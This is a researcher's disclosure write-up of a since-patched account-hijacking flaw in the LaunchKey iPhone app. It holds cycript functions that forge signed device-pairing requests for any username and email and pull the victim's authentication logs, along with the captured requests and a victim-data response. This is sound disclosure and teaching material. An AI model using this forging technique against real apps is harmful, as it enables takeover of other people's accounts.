As part of a research on LaunchKey iPhone application, I have discovered a vulnerability with the verification process. This flow allowed an attacker to hijack any user account and to perform actions in the victims account.
The vulnerability was responsible disclosed to LaunchKey security team and has been fixed in a record time and verified ;-) Kudos to LaunchKey Sec team!
OK so here are the technical details:
LaunchKey user setup request:
When a user launches Launchkey iPhone application, he is presented with a welcome page with two options: to setup a user or to pair a device.
Each option will process the same request to the LaunchKey servers that will cointain the username, email and device name to pair with.
-->
POST /v1/devices HTTP/1.1
Host: api.launchkey.com
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 1479
Connection: keep-alive
User-Agent: LaunchKey/6 CFNetwork/672.0.8 Darwin/14.0.0
cipher=6M3f5cCCw9pmKvtsuq8KBB%2fNrUda6L7eCM5c2u9%2fNpHUXUWZqK9gHHioilfqYlV1%0D%0AkIuWSxIjeheff [ Removed for brevity ] Gpgsih8N2aMB5s8Ec4Q%3D%3D&device_info=l5f74G3RU1jkweQHkWiZrGTmzMYpLzDkfeJdQ4NSdJqyW3FohftuzKVIW6q8F%0D%0AgqVIHTN2NhNEODDbPgLXS6FiOek%2BtL%2B5GFCIIAK0kr3zf0r%2ByR4P0Xl2l9laaKjm%0D%0AOBuprAVHe92Uho1689XugK5 [ Removed for brevity ]586qQ6akCF67sNASQR8BLvnMUWHyPm7ef6xU7Wk5EtWc%3D&signature=XFRdWwqh1JxTBDfGd5EVZdIrMful8YYNCObxd2Nzk1gcqAYJYkMzD6OU%2BNNr2apv%0D%0AX [ Removed for brevity ]H8yZC2Fww5y6NmvpDsATqfP7iE%0D%cjMzvciCDw2ZqJY5HVza0%3D
I fired up iNalyzer and created the package for LaunchKey, ported it to my computer and started looking around for the encryption class looking for the method that was incharge for the register device encryption request.
I have found out that the communication encryption is done via the LKAPIClient class:
Looking further in the LKApiClient selectors I have found the following:
- (id) getDevicesPostParams: | (id) | params | |
withUserName: | (id) | userName | |
withEmail: | (id) | ||
withDeviceName: | (id) | deviceName | |
withToken: | (id) | token | |
Params turn out to be the public key that the api was sending back to the client on initialization, and the token was was generated for any individual registration process was saved in the keychain under "KeyboardWidth" parameter.
When I invoked the selector I have received the encrypted request parameters as a string.
all i needed to do was to wrap the params with the proper request syntax for the registration post request, hence,I wrapped this selector with this cycript helper function that creates the request and sends it to the server:
function setupDevice(user,email){
pString=[ [LKAPIClient sharedClient ]
getDevicesPostParams: [Crypto getX509FormattedPublicKey:@"APIPublicKey" ]
withUserName:user
withEmail:email
withDeviceName:@"Fake"
withToken:[LKKeychain getToken: (@"KeyboardWidth")]
].toString().replace(/\//gi,"%252f").replace(/\r\\n/gi,"%250D%250A").replace(/\+/gi,"%252B").replace(/=/gi,"%253D").replace(/{\n cipher %253D "/gi,"cipher=").replace(/";\n "device_info" %253D "/gi,"&device_info=").replace(/";\n signature %253D "/gi,"&signature=").replace(/";\n}/,"") ;;
postString=[NSString stringWithString:pString.replace(/%25/gi,"%") ];;
backgroundQueue = [[NSOperationQueue alloc] init];;
aUrl = [NSURL URLWithString:@"https://api.launchkey.com/v1/devices"];;
request = [NSMutableURLRequest requestWithURL:aUrl ];;
[request setHTTPMethod:@"POST"];;
[request setHTTPBody:[postString dataUsingEncoding:@"NSUTF8StringEncoding"]];;
[request addValue:@"User:"+user+@" Email:"+email forHTTPHeaderField:@"Test"];;
[NSURLConnection sendAsynchronousRequest:request
queue:backgroundQueue completionHandler:nil ] ;;
[LKKeychain saveString:user forKey:@"UserName"] ;;
[LKKeychain saveString:@"Fake" forKey:@"DeviceName"] ;;
}
Then by simply calling setupDevice(@"someUser",@"SomeEmail@mailinator.com") I got the request encrypted, signed and sent to server, that is I have requested the server to authorize my device as a LaunchKey device for the victim account using his email and username.
Ok, so I used this function to pair my device on to my victim test account, and I got a "awaiting email confirmation" message.
Then I tried to force a usage of the new device to pull data from LaunchKey servers,
so I found out that to pull the logs from the server I need to load the LKLogsViewController:
And call the loadTheLogs selector:
- (void) loadTheLogs: | (BOOL) | logs |
So I wrote another cycript wrapper function to do this small work for me:
function GetLogs(user){
[LKKeychain saveString:user forKey:@"UserName"] ;;
[LKKeychain saveString:@"Fake" forKey:@"DeviceName"] ;;
[[[ LKLogsViewController alloc ] init ] loadTheLogs:YES];;
}
Then by simply activating the function with GetLogs(@"someUSer") I could see the request being sent via proxy:
GET /v1/logs?historical=0&identity=r5cXTLpGDfVc4SVTVHTvBhc [ Removed for brevity ] NwYIPvw%3D%3D&signature=PtcWRSe01V9WWkZ0hSiVa3%2BPG3flCvD3cps15FBXf%0D%0AEKBmcE%2BycoTWHMMMmLy [ Removed for brevity ] sZFUnsSfYIFzZutKNw1k%3D HTTP/1.1
Host: api.launchkey.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: application/json
Accept-Language: en;q=1, fr;q=0.9, de;q=0.8, ja;q=0.7, nl;q=0.6, it;q=0.5
Connection: keep-alive
User-Agent: LaunchKey/6 (iPhone; iOS 7.0.3; Scale/2.00)
And I got an actual response with information from the tested victim account:
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 11 Nov 2013 21:33:42 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 2800
Connection: keep-alive
Set-Cookie: beaker.session.id=XXXXXX; expires=Mon, 11-Nov-2013 22:33:41 GMT; httponly; Path=/; secure
Strict-Transport-Security: max-age=31536000; includeSubdomains
{"log_count": 10, "server_time": "2013-11-11 21:33:42.000000", "logs": [{"status": "Pending", "action": "Authenticate", "session": true, "app_name": "LaunchKey", "date_updated": "2013-10-31 16:20:51", "app_icon": "https://d2882u593o0m3.cloudfront.net/launchkey-app-avatar.png", "log_id": 28409, "app_key": 1000000000, "device_name": "launchkk"}, {"status": "Granted", "action": "Authenticate", "session": true, "app_name": "LaunchKey", "date_updated": "2013-10-31 10:53:25", "app_icon": "https://d2882u593o0m3.cloudfront.net/launchkey-app-avatar.png", "log_id": 28399, "app_key": 1000000000, "device_name": "launchkk"},[ Removed for brevity ], {"status": "Pending", "action": "Authenticate", "session": true, "app_name": "LaunchKey", "date_updated": "2013-10-30 19:02:38", "app_icon": "https://d2882u593o0m3.cloudfront.net/launchkey-app-avatar.png", "log_id": 28331, "app_key": 1000000000, "device_name": "launchkk"}]}
So I've fired up the mail, contacted LaunchKey sec team, and in less than 3 days the issue was patched and fixed, Kudos to the LaunchKey sec team indeed.and I have even got a place of gratitude in their white-hat hall of fame
So, we have learned that:
1. Encryption traffic is not an issue with iNalyzer
2. Server validation and authorization checks must be made on each access request
3. There are some vendors that take security vulnerabilities and responsible disclosure with the required attention.
Hope you enjoyed the post
See Ya!